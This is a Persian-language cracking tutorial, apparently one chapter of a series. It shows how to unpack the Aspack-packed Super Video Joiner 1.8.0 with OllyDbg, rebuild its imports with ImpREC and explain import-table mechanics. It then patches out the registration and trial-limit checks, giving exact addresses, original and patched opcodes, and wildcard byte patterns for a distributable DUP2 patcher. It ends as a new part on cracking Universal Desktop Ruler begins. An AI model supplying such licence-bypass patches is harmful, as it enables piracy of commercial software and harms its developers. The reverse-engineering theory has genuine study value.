  with crippled IAT serial protection ,unpacking Aspack 2.12نوع حمله 
  Super Video Joiner 1.8.0: نرم افزار هدف 

 , DUP 2.0,PEid 0.92 ollydbg 1.10 (hidedebugger ,ollydump) plugin :استفاده مورد افزارهاي نرم
,ImpRec 1.6   

  متوسط : سطح 

  
  

  . نصب ميكنيمخب اول نرم افزار رو
بعد از نصب هميشه اولين كاري كه بايد بكنيم اين هست كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار                          

  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidميتوانيد از نرم افزارهايي مانند 
  براي تست فايل استفاده كنيد ) open...(رو بندازيد توش و يا از دكمه videojoiner.exeو فايل  رو باز كرده PEidبرنامه 

  
  1شكل 

  
  
  
  
  
  
  

  :نكته
 و يـا  packerنويـسي و نـوع     گـاهي نميتوانـد نـوع زبـان برنامـه     PEiDشايد بصورت تجربي متوجه شده باشيد كه نرم افزار      

protectorدهد برنامه هدف را  بصورت صحيح تشخيص .  
در . هـا را نميـشناسد  protectorها و packer (signature) تمامي امضاPEiDاين خطا به اين دليل ميباشد كه نرم افزار  

اين فايل بصورت دستي بايد هر چنـد وقـت يكبـار توسـط     .  ذخيره ميشوندUSERDB.TXTواقع اين امضاها در فايلي بنام   
ه ميتوانيد اين فايل را بصورت بروز شده و تازه بيابيد انجمن هاي در رابطـه بـا   محلي هم ك. جايگزين فايل قديمي شودبايد شما  

  .مهندسي معكوس و كرك ميباشد
  . بصورت نمونه در آن موجود ميباشدUSERDB.TXT را تازه نصب ميكنيد فايل PEiDافزار  هنگامي كه نرم



 ٤٧

  
  

  .اين برنامه هم مانند برنامه قبل بصورت ساده اي پك شده است
 فقط كاهش حجم فايل اصلي ميباشد و تقريباً هيچگونـه           packer هدف يك    . ميباشد   packer فقط يك    Aspackاقع  در و 

  .متدي براي جلوگيري از ديباگ شدن و يا كرك شدن برنامه ندارد
  در حافظـه قـرار گرفـت   unpack بودن آنها ميباشد يعني بعد از اينكه برنامه بـصورت          "re-entrant" ها   packerخاصيت  

بـه مقالـه قبلـي توجـه        .( اصلاً هيچ اتفاق خاصي نيافتاده است      اينطور به نظر ميرسد كه    هيچ ردي از خود برجاي نميگذارند يعني        
  ).كنيد

ها فقـط حجـم فايـل را كـاهش دهنـد،       packer بجاي اينكه مانند     Asprotectها هستند مانند    protectorدر طرف ديگر    
 شده در آمده و در حافظه قـرار         packهمچنين وقتي برنامه اصلي از حالت       .صلي ميباشد وظيفه عمده آنها محافظت از تغيير كد ا       

هـا ماننـد   protector بوجـود مـي آيـد در واقـع     protectorهاي آن بوسيله   sectionميگيرد تغييرات بسياري در بعضي از       
packer  ها"re-entrant"          عمـل ديباگينـگ و كـرك بكـار      نميباشند و تغييراتي را براي سخت كردن و يا غير ممكن كردن 

  .ميگيرند
  
  

ولي در اين آموزش قصد ندارم فقط بر روي آنپك كردن برنامه و پچ كردن آن بحث كنم بلكه در اين آموزش ميخواهم شـما را                         
  . و اينكه پچ چرا و چگونه كار ميكند آشنا كنمImpRECكمي با تئوري كاركرد 

  
  

  : آشنا شويمlydbgol كردن اتوماتيك بوسيله unpackبيايم با 
  

  . باز كنيمollydbgمانند مثال قبل همانطور كه بخاطر داريد بايد برنامه را در 
  .) كنيدunpackبراي تمرين بيشتر خودتان ميتوانيد بصورت دستي برنامه مورد نظر را (

كـي ديگـر از ويژگيهـاي    درواقع ميخواهم به شـما ي .  كردن به شما نشان دهم    unpackدر اينجا ميخواهم روش ديگر را براي        
ollydbgرا نشان دهم .  

  
 را انتخـاب كنيـد   Debugging Option گزينه option در منوي ollydbgبراي اينكه با اين روش جديد آشنا شويد در 

  . استفاده كنيدبراي اينكار ميتوانيد از دكمه 
حـال  ) آنها را يادداشـت كنيـد  (خاطر داشته باشيد را بollydbg را انتخاب كنيد و تنظيمات حال SFXدر پنجره باز شده گزينه     

  .تنظيمات را مانند شكل زير تغيير دهيد
  



 ٤٨

  
  2شكل 

  . شده خارج كندpack متوجه ميشود كه خود بايد بصورت اتوماتيك برنامه را از حالت ollydbgبا اينكار 
  . باز كنيدollydbg را در videojoiner.exeحال فايل 

  : توجه كنيدstatus bar باز ميكنيد به قسمت ollydbgهنگامي كه فايل را در 

  
  3شكل 

  
 ماننـد شـكل   status bar)  شما داردCPUبستگي به نوع ( ميباشد بعد از مدتي شميبينيد كه يك شمارنده اي در حال شمار

  :خواهد شد

  
  4شكل 

  : مانند شكل زيرollydbgو پنجره كد 

  
  5شكل 

  . را دارا ميباشند كاربرد دارد"re-entrant"ژگي هايي كه ويpackerاين روش براي تمامي 

  :نكته
 در دايركتوري خود   udd اطلاعات فايلهايي را كه ديباگ ميكند در فايلي همنام فايل مربوطه ولي با پسوند                ollydbgنرم افزار   

 ـ ollydbg را ميبنديد و بار ديگر همان برنامه را در ollydbgنگه داري ميكند هنگامي كه   statusد در قـسمت   بـاز ميكني

barحتماً متوجه نوشته مربوط خواهيد شد :  

  
   وقت شما گرفته نشودollydbgاينكار به اين دليل انجام ميگيرد كه در هر بار باز كردن برنامه در 
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Dumping برنامه و درست كردن IAT:  
  

ين سـعي كنيـد ماننـد مقالـه قبـل            ميباشد در اين قسمت براي تمـر       dumping كجاست و الان وقت      OEPالان ما ميدانيم    
 بـاز برنامـه اجـرا       ImpREC بوسـيله    IAT را انجام دهيد ميبينيد كه از اتمام عمليات و درست كـردن              dumpingعمليات  

  .نخواهد شد
  

  :توجه
 شما متوجه اين مشكل نخواهيـد شـد ايـن بـه ايـن دليـل       xp sp1&2برنامه ضميمه شده بدين صورت نميباشد و در ويندوز 

  .ها ويندوز نبودهAPI كه بعضي از ارجاعات درون برنامه به ميباشد
  .ولي در اينجا تمامي مراحل براي يادگيري شما توضيح داده شده است

  
Dumpingبرنامه :  

 را انتخاب كنيد مانند dump debugged process گزينه ollydump به اسم dumping مربوط به pluginبوسيله 
  :شكل زير را خواهيد داشت

  
  6شكل 

 در آدرس OEP غير فعال باشد و بـه ايـن نكتـه توجـه داشـته باشـيد كـه        Rebuild Importتوجه داشته باشيد كه گزينه 
AF0A0ميباشد .  

 راحتـي كـار نـام ايـن فايـل را       بـراي  شـده را ذخيـره كنيـد مـن    dump كليك كرده و فايل      dumpخب حال بر روي دكمه      
dump.exeميگذارم .  

ها گزينه  process را اجرا كنيد و از ليست        ImpREC را اجرا كنيد و بعد از آن         videojoiner.exeم  حال برنامه اصلي بنا   
videojoinerرا انتخاب كنيد مانند شكل زير خواهيد داشت :  



 ٥٠

  
  7شكل 

  . وارد كنيدOEP مربوط به textbox را در OEPحال 
  آن  بعـد از .  درست ميباشـد خواهيـد ديـد   OEPون كه  را بزنيد يك پيغام با اين مضمIAT AutoSearchوبعد از آن دكمه 

  : آنرا بدست بياوريد مانند شكل زيرIAT كليك كنيد تا جدول Get Importsبرروي دكمه 



 ٥١

  
  8شكل 

  
 نوشته Valid:Yes بجاي اينكه نوشته شده باشد Imported Functions Foundحتماً متوجه خواهيد شد كه در پانل 

)  در لغت به معني فلج و معلـول ميباشـد          cripple( درآمده crippled بصورت   IATني اينكه    اين يع  Valid:Noشده است   
ريخته شده است تا كركر نتواند راحتتـر برنامـه مـورد نظـر را     هم  به packer از فايل اجرايي توسط sectionيعني اينكه اين   

  .تغيير دهد
 سفيد در  جايحال در يك.تمامي ارجاعات نامعتبر را ببينيد كليك كنيد تا مانند شكل بالا Show Invalidحال برروي دكمه 

 و بعـد از آن  Advanced Commands كليد سمت راست موس را زده و از منوي ظـاهر شـده گزينـه    ImpRECپانل 
  : را انتخاب كنيد مانند شكل زيرGet Api Callsگزينه 



 ٥٢

  
  9شكل 

  
  : را بزنيدOkدكمه حال صفحه پديدار شده به تنظيمات پيش فرض دست نزنيد و 

  
  10شكل 

   مانند شكل زير خواهد شدImpRECهنگامي كه كار تمام شود پانل اصلي 



 ٥٣

  
  11شكل 

  
 شده مـشخص شـده   highlight كليك كنيد تا تمامي ارجاعات نامعتبر بصورت show invalidحال يكي بر روي دكمه 

ز آنها دكمه سمت راست را زده و از منوي ظـاهر شـده گزينـه         دربياوريد بر روي يكي ا     highlightباشد بدون اينكه آنها را از       
Cut Thunk(s)را انتخاب كنيد مانند شكل :  

  
  12شكل 

  



 ٥٤

 موجود بود را حذف كرديم در واقع اين ارجاعات باعث ميـشوند كـه برنامـه    IATخب با اينكار تمامي ارجاعات نا معتبري كه در  
dumpشده نتواند اجرا شود .  

 برنامـه  Log كليك كنيد ميبينيد كه ديگر ارجاع نامعتبري وجود ندارد و در پانـل  Show Invalid دكمه حال دوباره برروي
ImpRECنوشته اي مانند زير خواهيد ديد :  

  
  13شكل 

  
 فـايلي  ImpREC را انتخاب كنيـد  dump.exe كليك كنيد و در پنجره باز شده برنامه  dump.exeحال برروي دكمه    

  . كنيدunpackآنرا اجرا كنيد ،بله شما موفق شديد برنامه را بصورت كامل . خواهد ساختdump_.exeجديدي بنام 
  

  :توجه
 اين XPهمانطور كه قبلاً گفته شده چون نسخه برنامه ضميمه شده با نسخص اصلي كمي فرق ميكند در اين نسخه در ويندوز                

حذف كنيد برنامه به هيچ عنوان اجـرا نخواهـد شـد پـس در     ها را اگر Invalids Callاتفاق نخواهد افتاد و در واقع اگر شما 
  . صرف نظر كنيدCut Thunk(s) از قسمت XPويندوز 

 نبوده و در واقع داخلي بوده و هيچگونه ربطي به  APIاين اشكال به اين دليل ميباشد كه بعضي از ارجاعات نامعتبر براي توابع 
IAT نويسنده اصلي(بخشي از برنامه اصلي از بين رفته و برنامه اجرا نخواهد شد ندارد و اگر اين ارجاعات حذف شود در واقع.(  

  
 ImpRECچگونه كار ميكند؟   

  
 كـردن يـك برنامـه را يادگرفتيـد ولـي در واقـع خودتـان اصـلاً متوجـه نـشديد كـه چـرا در                     Unpackخب در بالا چگونگي     

ImpREC            چه گذشت و چرا اصلاً ما ميبايستي كارهاي اضافي در ImpREC              انجام ميـداديم خـب دوبـاره بـه شـكل زيـر 
  : بياندازيدينگاه

  

  
  14شكل 

  
 API را بدنبال تمـامي ارجاعـات        FFFFFFFF تا آدرس    00000000 گفتيم كه از آدرس      ImpRECدر اين دايلوگ به     

  ).به سمت راست تصوير توجه كنيد(Call [X]بگردد البته بصورت 
  اين يعني چه؟

  : باشيد مانند شكل زيرAF0A0 برگرديد شما بايد قطعاً در آدرس ollydbgبراي فهم بيشتر به 



 ٥٥

  
  15شكل 

  
  

  ):براي راحتي شما شكل را بزرگتر كرده ام( توجه كنيدAF0D6به آدرس 

  
  16شكل 

  
  :خب ميبينيد كه نوشته شده است 

CALL videojoi.00406C94  
  

 API كـه مـشخص ميكنـد يـك تـابع            FindWindowA نوشته شده اسـت      ollydbgو جلوي آن در قسمت توضيحات       
  .ميباشد

   وجود دارد برويد Call يعني همان آدرسي كه در جلوي دستور  00406C94حال به آدرس 

 استفاده كنـيم و در پنجـره بـاز شـده آدرس خـود را وارد كنيـد تـا دقيقـاً                       براي رفتن به آدرسي در فايل ميتوانيم از دكمه          (
ollydbgما را به آن آدرس ببرد (  

  
  :خب در آن آدرس خواهيم ديد

  
  17شكل 

  
 خواهد بود اگـر كمـي       FindWindowA براي تابع    user32.dll پرش مستقيم فايل     406C94 در آدرس    JMPدستور  

  .دقت كنيد خواهيد ديد كه در اين قسمت اينگونه پرشها بسيار زياد هست
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  :جمع بندي

در واقع پرشي است بـه آن  ( اشاره دارد406C94به آدرس  خود Call داريم اين  4AF0D6 در آدرس Callما يك دستور 
  )آدرس

  : يك دستور پرش به آدرسي در حافظه بصورت زير داريم406C94و در آدرس 
JMP DWORD PTR DS:[4B4704] 

  :در واقع مجموع دستورات بالا مانند دستور زير ميباشد
  

CALL [address_containing_the_real_addr_to_call]   
  

  . را نوشت4B4704مت آدرس ميتوان همان كه در قس
  

 ارجاع كند دستوري مانند بالا خواهـد      API كه بخواهد به يك تابع       CALLبا اين توضيحات حالا شما ميدانيد كه يك دستور          
  .بود

  . انتخاب شده است به اين خاطر ميباشد Call[x]  scheme در سمت راست گزينه  ImpRECدليل اينكه در 
 را جستجو كنـد بـه ايـن خـاطر     FFFFFFFF تا 00000000 ميخواهيم از address filterكه در قسمت و منظور از اين

ميباشد كه ميخواهيم تمامي كد را بدنبال دستورات مورد نظر باشد اگر شما واقعاً ميدانيد كـه در چـه قـسمتي از كـد ميخواهيـد                           
  .ص كنيد مشخaddress filterارجاعات را اصلاح نماييد ميتوانيد در قسمت 

  .خب حال بگذاريد كمي عميق تر به مبحث ارجاعات نگاه بياندازيم
  : بياندازيم APIبراي شروع بياييد نگاهي به نحوه ارجاع به يك تابع 

  . موجود ميباشد APIتوابع ) ارجاع(دو روش براي صداكردن
 (efficient)روش موثر و كارآمد .1

 (inefficient)روش ناكارآمد .2

  
  :در روش كارآمد يك ارجاع مانند زير ميباشد

 
CALL DWORD PTR [0x00405030] 

  
 Dword كه مقدار آن (pointer) آشنايي نداريد دستور بالا به اين معنا ميباشد كه ارجاع به يك اشاره گرx86اگر با اسمبلي 

  . ميباشد APIمربوط به توابع  و IATاين آدرس هر چه ميخواهد باشد يك آدرس .  در حافظه اشاره ميكند،ميباشد
  

  :در روش  ناكارآمد يك ارجاع بصورت زير ميباشد
CALL 0x0040100C 
........ 
0x0040100C: 
JMP       DWORD PTR [0x00405030] 
 

در (  به يك آدرس در درون برنامه اشاره ميكند هنگامي كه برنامه به آدرس موردنظر پرش ميكنـد                 CALLدر اين روش دستور     
 مورد نظر پرش ميكند     APIاز آنجا به تابع     )  در آنجا قرار دارد      IAT ميشود جايي كه تمامي ارجاعات       stubوارد يك   واقع  

  . هم اكنون در مورد آن بحث ميكنيم كههمانند برنامه اي
 را بـراي  ال ميكنـد و زمـان بيـشتري   غ بايت بيشتر فضا اش ـAPI، 5در واقع در روش ناكارآمد برنامه براي صدا كردن يك تابع  

  . ميگيردCPUاجراي آن تابع از 
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ولي دليل بسيار خوبي براي اينكه برخي از كامپايلرها از آن بهره ميگيرند وجود دارد و آنهم اينكه كامپايلر از اين راه ميتواند بـين                 
  . فرق گذاشته و آنها را شناسايي كند APIارجاعات داخلي و ارجاعات به توابع 

CALL XXXXXXXX 
 

توجه داشته باشـيد كـه ايـن يـك     . پر خواهد شدlinker يك آدرس واقعي است كه بوسيله XXXXXXXXمثال در اين  
براي اينكه كامپايلر بتواند بين ارجاعات بين برنامه .  نميباشد بلكه يك آدرس واقعي در درون برنامه بوده APIارجاع به توابع 

 در درون فايل اجرايي در نظـر بگيـرد و آدرسـهاي             stub بنام    تفاوت قائل شود مجبور است يك مكاني را        IATو ارجاعات   
  . استفاده كند APIواقعي را در آن مكان تبديل به اشاره گرهاي حافظه كرده و از توابع 

  خب حال اين پرش به اشاره گر از كجا آمده است؟
 مربوطه آدرس دهي شده انـد،  APIع  در آنها تواب فقط يك جدول از آدرسهاي حافظه بوده كهIATاگر به خاطر داشته باشيد    

با فرض اين موضوع به راحتي خواهيم فهميد        . دسترسي خواهيم داشت   API با صدا كردن هريك از آنها ما به يكي از توابع             كه
  . قرار دارد به كدام بخش پرش خواهند كردstubكه پرشهايي كه در درون 

  
  ت ناكارآمد را بصورت حالت كارآمد بهينه كنيم؟سوال بعدي كه پيش مي آيد اينست كه جطور ميتوانيم حال

  
  .جواب به روش راهنمايي شما به كامپايلر بر ميگردد

عي ميباشـد كـه بـه كامپـايلر ميگويـد ارجـاع مـورد نظـر در درون يـك فايـل                       ب تا declspec(dllimport)__تابع  
  :اي ديگر ميباشد و كامپايلر بايد دستوري مانند زير توليد كند كتابخانه

 
CALL DWORD PTR [XXXXXXXX] 
 

  :به جاي اينكه بدين صورت عمل كند
  

 
CALL XXXXXXXX 
 

  :به اين صورت كامپايلر بصورتي فرض را قرار ميدهد كه تمامي توابعي كه به صورت 
  

__imp_functionname 

 
شد و ديگر كامپـايلر بـراي        محسوب خواهند    IATتعريف ميشوند به اين معنا هست كه در فايل كتابخانه اي ديگر بوده و جزو                

  . نيازي نداردstubاستفاده از آنها به 
  

 خـود از تـابع    headerنتيجه اينكه اگر شما ميخواهيد از كـدهاي بهينـه اسـتفاده كنيـد بـه خـاطر داشـته باشـيد در فايـل                          
__declspec(dllimport)استفاده كنيد مانند مثال زير :  

__declspec(dllimport) void Foo(void); 
 

Patchكردن برنامه :  
به اين دليل كه اين آموزش بيش .  فقط به ذكر آدرسهاي آن بسنده ميكنمpatchدر اين قسمت به علت ساده بودن عمليات 

  .از حد از حالت ساده درآمده و در مورد مباحث پيشرفته صحبت كرده
  . ذخيره كنيدdump.patch.exe شده را با نام patchدر آخر فايل 
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Patch1 

 

Original Code: 
004A7123 |. /75 14 JNZ SHORT videojoi.004A7139 
004A7125 |. |A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E 08] 
004A712A |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A712D |. |74 0A JE SHORT videojoi.004A7139 
004A712F |. |A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E 9C] 
004A7134 |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A7137 |. |75 12 JNZ SHORT videojoi.004A714B 
004A7139 |> \BA 00724A00 MOV EDX,videojoi.004A7200 ; 
ASCII "Licence to: Unregister"  

Patched Code: 
004A7123 . 90 NOP 
004A7124 . 90 NOP 
004A7125 . A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E08 ] 
004A712A . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A712D . 90 NOP 
004A712E . 90 NOP 
004A712F . A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E9C ] 
004A7134 . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A7137 . EB 12 JMP SHORT videojoi.004A714B 
004A7139 . BA 00724A00 MOV EDX,videojoi.004A7200 ; ASCII 
"Licence to: Unregister"  

 

 

  18شكل 

 

Patch2 

 

 

Original Code: 
004A8CE2 |. /75 18 JNZ SHORT videojoi.004A8CFC 
004A8CE4 |. |A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E 08] 
004A8CE9 |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A8CEC |. |74 0E JE SHORT videojoi.004A8CFC 
004A8CEE |. |A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E 9C] 
004A8CF3 |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A8CF6 |. |0F85 52020000 JNZ videojoi.004A8F4E 
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004A8CFC |> \8D45 F0 LEA EAX,[LOCAL.4] 
004A8CFF |. BA 28954A00 MOV EDX,videojoi.004A9528 ;  ASCII 
"This trial version only can join less than 2 video  files 
at a time,this limit only can be eliminated when it  is 
registered!" 
004A8D04 |. E8 E3B4F5FF CALL videojoi.004041EC  

Patched Code: 
004A8CE2 . 90 NOP 
004A8CE3 . 90 NOP 
004A8CE4 . A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E08 ] 
004A8CE9 . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A8CEC . 90 NOP 
004A8CED . 90 NOP 
004A8CEE . A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E9C ] 
004A8CF3 . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A8CF6 . E9 53020000 JMP videojoi.004A8F4E 
004A8CFB . 90 NOP 
004A8CFC . 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 
004A8CFF . BA 28954A00 MOV EDX,videojoi.004A9528 ; ASCII 
"This trial version only can join less than 2 video  files 
at a time,this limit only can be eliminated when it  is 
registered!" 
004A8D04 . E8 E3B4F5FF CALL videojoi.004041EC 

 

 

 

  19شكل 

 

 

Patch3 

 

 

Original Code: 
004AB0D4 . /75 12 JNZ SHORT videojoi.004AB0E8 
004AB0D6 . |833D FC3C4B00 00 CMP DWORD PTR DS:[4B3C FC],0 
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004AB0DD . |74 09 JE SHORT videojoi.004AB0E8 
004AB0DF . |833D 003D4B00 00 CMP DWORD PTR DS:[4B3D 00],0 
004AB0E6 . |75 0A JNZ SHORT videojoi.004AB0F2 
004AB0E8 > \B8 FCB04A00 MOV EAX,videojoi.004AB0FC ;  ASCII 
"This is a unregistered Version, Don't forget to re gister 
it." 
004AB0ED . E8 327EF8FF CALL videojoi.00432F24  

Patched Code: 
004AB0D4 . 90 NOP 
004AB0D5 . 90 NOP 
004AB0D6 . 833D FC3C4B00 00 CMP DWORD PTR DS:[4B3CF C],0 
004AB0DD . 90 NOP 
004AB0DE . 90 NOP 
004AB0DF . 833D 003D4B00 00 CMP DWORD PTR DS:[4B3D0 0],0 
004AB0E6 . EB 0A JMP SHORT videojoi.004AB0F2 
004AB0E8 . B8 FCB04A00 MOV EAX,videojoi.004AB0FC ; ASCII 
"This is a unregistered Version, Don't forget to re gister 
it." 
004AB0ED . E8 327EF8FF CALL videojoi.00432F24  

 
  20شكل 

  
  
  
  
  

  :Patchساخت نرم افزار 
  

 بخش قصد دارم نحـوه سـاخت    اينتفاده خواهيم كرد ولي در خود اسpatch براي ساخت  diablo2oo2دوباره از نرم افزار 
  .متفاوتي را به شما نشان دهم

  ). آموخته ايد استفاده كنيدpatchبراي آزمايش خود ميتوانيد از دستور العملي كه در مقاله قبل در مورد ساخت (
  

  . آشنا كنمsearch and replaceدر اين بخش ميخواهم شما را با روش 
اما اين روش ميتواند بسيار خطرناك و مخـرب باشـد   .كردن مقادير مورد نظر و جايگزين كردن آنها با مقدار دلخواه   يعني جستجو   

 بـصورت  patternبصورت غلط تنظيم شود باعث خراب شدن فايل مـورد نظـر ميـشود ولـي اگـر       ) الگو(patternچرا كه اگر    
براي .يتوانيد نسخه هاي مختلفي از يك نرم افزار را كرك كنيد مpatchدرست و دقيق تنظيم شود شما با يك بار درست كردن 

 جايگزين ميـشود ولـي   2.05 آن در بازار موجود است ولي به دلايل فني نسخه         2.0.1 در حال حاضر نسخه      Xمثال نرم افزار    
ن اوصاف شما اگر خب با اي. استفاده شده استpackerدر اين نسخه هم از همان روش براي پيگيري شماره سريال و از همان           

  . بسازيد براي هر دو نسخه كار خواهد كردpatchيكبار 
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 كليك كرده در صفحه ظاهر شده اطلاعات را مانند شكل زير new project را باز كنيد و بر روي دكمه DUP2خب برنامه 
  :وارد كنيد

  
  21شكل 

  
 & searchه و از صفحه ظاهر شـده گزينـه    را زدadd كليك كرده ، حال در صفحه اصلي دكمه  saveخب بر روي دكمه 

replace patchرا انتخاب كنيد مانند شكل زير   
 

  
  22شكل 

  
  :حال در صفحه اصلي گزينه اي اضافه شده است برروي آن دابل كليك كنيد تا صفحه اي مانند شكل زير باز شود
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  23شكل 

  
  . وارد نماييدsearch pattern مربوط به textboxشما بايد الگو مورد نظر را در 

  . الگويي كه ميخواهيد جايگزين شود را وارد نماييدReplace pattern مربوط به textboxدر 
  . تا الگوهاي مورد نظر شما وارد ليست شود كليك كنيدaddبعد بر روي دكمه 

 check 'Searchه  دكم ـ شما در برنامـه درسـت ميباشـد يـا نـه بـر رئـي       و بعد از آن براي چك كردن اينكه الگو موردنظر 

Pattern' Occurrenceكليك كنيد .  
  .و در آخر ليست تغييراتي كه بايد انجام شود را در پانل اصلي خواهيد ديد

  
  .ها ميباشدOpCodeقبل از شروع كار ميخواهم يك نكته را براي شما واضحتر توضيح بدهم و آن نكته در مورد 

 hexadecimal گفتـه ميـشود كـه بـصورت      OpCodeدارد كه به آن     هر دستور اسمبلي يك معادل دستوري بصورت عدد         
  ! هاي معروف خواهيم رسيد1و0نوشته ميشود و با تبديل آن به سيستم دودويي به همان 

  .در واقع زبان ماشين
A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E08]  

ين دستور ميباشند كه بصورت بـرعكس درآمـده    ميباشد و باقي عددها پارامترهاي اA1 معادل EAX  MOVدر اينجا دستور
  ).نوع پردازنده را با شركت سازنده آن اشتباه نگيريد(اند و اينهم به دليل نوع پردازنده ميباشد

 قسمت اول را مياورم و در باقي كار فقط جوابها را خواهم نوشت براي تمرين خودتـان  patchخب براي شروع كار من در اينجا    
  :نده را حل كنيد باقي ماpatchدو 



 ٦٣

004A7123 |. /75 14 JNZ SHORT videojoi.004A7139 
004A7125 |. |A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E 08] 
004A712A |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A712D |. |74 0A JE SHORT videojoi.004A7139 
004A712F |. |A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E 9C] 
004A7134 |. |8338 00 CMP DWORD PTR DS:[EAX],0 
004A7137 |. |75 12 JNZ SHORT videojoi.004A714B 
004A7139 |> \BA 00724A00 MOV EDX,videojoi.004A7200 ; 
ASCII "Licence to: Unregister" 
 

  :ها آنها در بايت بدين صورت ميشودOpCodeكه 
  

  75,14,A1,08,1E,4B,00,83,38,00,74,0A,A1,9C,1E,4B,00,83,38,00,75,12,BA,00,72,4A,00  
  
  

  .توجه داشته باشيد كه اعدادي كه با قرمز مشخص شده اند همان پارامترهاي دستورالعملها ميباشند
 خب حال بيايد از خود سوال كنيم هنگامي كه يك شركت نسخه جديدي از يك نرم افزار ارائه ميدهد چه چيزهايي از آن تغييـر                        

  ميكند؟
  MOVرشته ها ، آدرس افستها و دستورات 

  
  : جايگزين ميكنيم*خب با اين نتيجه تمامي اعداد قرمز را با علامت 

  
75,**,A1,**,**,**,**,83,38,**,74,0A,A1,**,**,**,**,83,38,**,75,**,BA,**,**,**,** 
 

 4A7123دستنخورده باقي بگذاريم براي مثال در آدرس با كمي فكر كردن به پارامترها ميبينيم كه ميتوانيم بعضي از آنها را 
كه با كمي تامل درميابيم كه اين آدرس ، آدرسي نيـست كـه تغيـر     داريم   بايت جلوتر    14در اين آدرس ما يك پرش داريم به         

  . نمي آيدربكند چرا كه يك آدرس رابطه اي بوده و آدرس مطلقي به شما
 را دستنخورده و ثابت 4A7134ما در آينده هم خوب كار كند ميتوانيم مقدار آدرس  patchو براي اطمينان از اينكه الگو    

شايد كمي سخت به نظر بيايد ولي با كمي تكـرار و تمـرين      .( كار خود را انجام دهد     (CMP)نگه داريم تا دستورالعمل مقايسه      
  ).خواهيد توانست مقاديري كه بايد ثابت بمانند را به درستي حدس بزنيد

  :آخرين تغييرات ما در الگو مورد نظراينهم 
  

75,14,A1,**,**,**,**,83,38,00,74,0A,A1,**,**,**,**,83,38,**,75,12,BA,**,**,**,** 
  
  

  : بدين صورت خواهد بودpatchالگوي جايگزين ماهم از روي 
004A7123 . 90 NOP 
004A7124 . 90 NOP 
004A7125 . A1 081E4B00 MOV EAX,DWORD PTR DS:[4B1E08 ] 
004A712A . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A712D . 90 NOP 
004A712E . 90 NOP 
004A712F . A1 9C1E4B00 MOV EAX,DWORD PTR DS:[4B1E9C ] 
004A7134 . 8338 00 CMP DWORD PTR DS:[EAX],0 
004A7137 . EB 12 JMP SHORT videojoi.004A714B 
004A7139 . BA 00724A00 MOV EDX,videojoi.004A7200 ; ASCII 
"Licence to: Unregister"  

  



 ٦٤

  
  

90,90,A1,**,**,**,**,83,38,00,90,90,A1,**,**,**,**,83,38,**,EB,12,BA,**,**,**,**  

  
  :همانند شكل زير خواهيد داشت.  وارد كنيدreplace patternخب اين الگو را در قسمت 

  
  24شكل 

  
  

  : كليك كنيد تا مانند شكل زير داشته باشيدAdd مناسب قرار داديد بر روي دكمه بعد از اينكه الگوها را در جاي
  



 ٦٥

  
  25شكل 

  
  :حال ديگر الگوها را بصورت خلاصه در زير ميبينيد

Patch 2 
Original byte sequence: 
75,18,A1,**,**,**,**,83,38,00,74,0E,A1,**,**,**,**,83,38,00,0F,85,**,**,**,**,8D,45,**,BA,**,*
*,**,** 
 
Patched byte sequence: 
90,90,A1,**,**,**,**,83,38,00,90,90,A1,**,**,**,**,83,38,00,E9,53,02,00,00,90,8D,45,**,BA,**,*
*,**,** 
 
Patch 3 
Original byte sequence:  
75,**,83,3D,**,**,**,**,00,74,09,83,3D,**,**,**,**,00,75,0A,B8,**,**,**,** 
 
Patched byte sequence:  
90,90,83,3D,**,**,**,**,00,90,90,83,3D,**,**,**,**,00,EB,0A,B8,**,**,**,** 
 

  
  

  . فعال باشدtarget is a compressed PE fileتوجه كنيد گزينه 
شما  patch در غير اينصورت ، شده راdump حتماً فايل اصلي برنامه را معرفي كنيد و نه فايلهاي target fileو در قسمت 

 مـورد نظـر را   pattern استفاده كرده در آنجـا  … check خود ميتوانيد از دكمه patternبراي چك كردن .كار نخواهد كرد
  . شده را معرفي كنيدdumpوارد كرده و فايل 
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  :در آخر مانند شكل زير خواهيد داشت

  
  26شكل 

  . را بزنيدcreate patch را زده و در صفحه اصلي هم saveحال دكمه 
  پايان

  
  
  
  
  
  
  
  
  
  
  
  



 ٦٧

  
  پنجم قسمت ollydbgآموزش كركينگ با 

 April 2006 1385ارديبهشت  : تاريخ 

  Serial,inline patching نوع حمله
  Universal Desktop Ruler 2.5.872: نرم افزار هدف 

  ollydbg 1.10,PEiD 0.93:  استفاده مورد افزارهاي نرم

  متوسط : سطح 

  
  

  .ب ميكنيمخب اول نرم افزار رو نص
بعد از نصب هميشه اولين كاري كه بايد بكنيم اين هست كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار                          

  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidنيد از نرم افزارهايي مانند اميتو
  براي تست فايل استفاده كنيد ) open...(رو بندازيد توش و يا از دكمه UDRulerp.exeايل  رو باز كرده و فPEidبرنامه 

  
  1شكل 

  
  

-reهايي كه خاصيت packer حتماً به خاطذ داريد كه تمام 4 و   3 پك شده است ولي با توجه به مقالات          UPXاين برنامه با    

entrantرا دارا ميباشند را ميتوان به دو طريق آنپك كرد .  
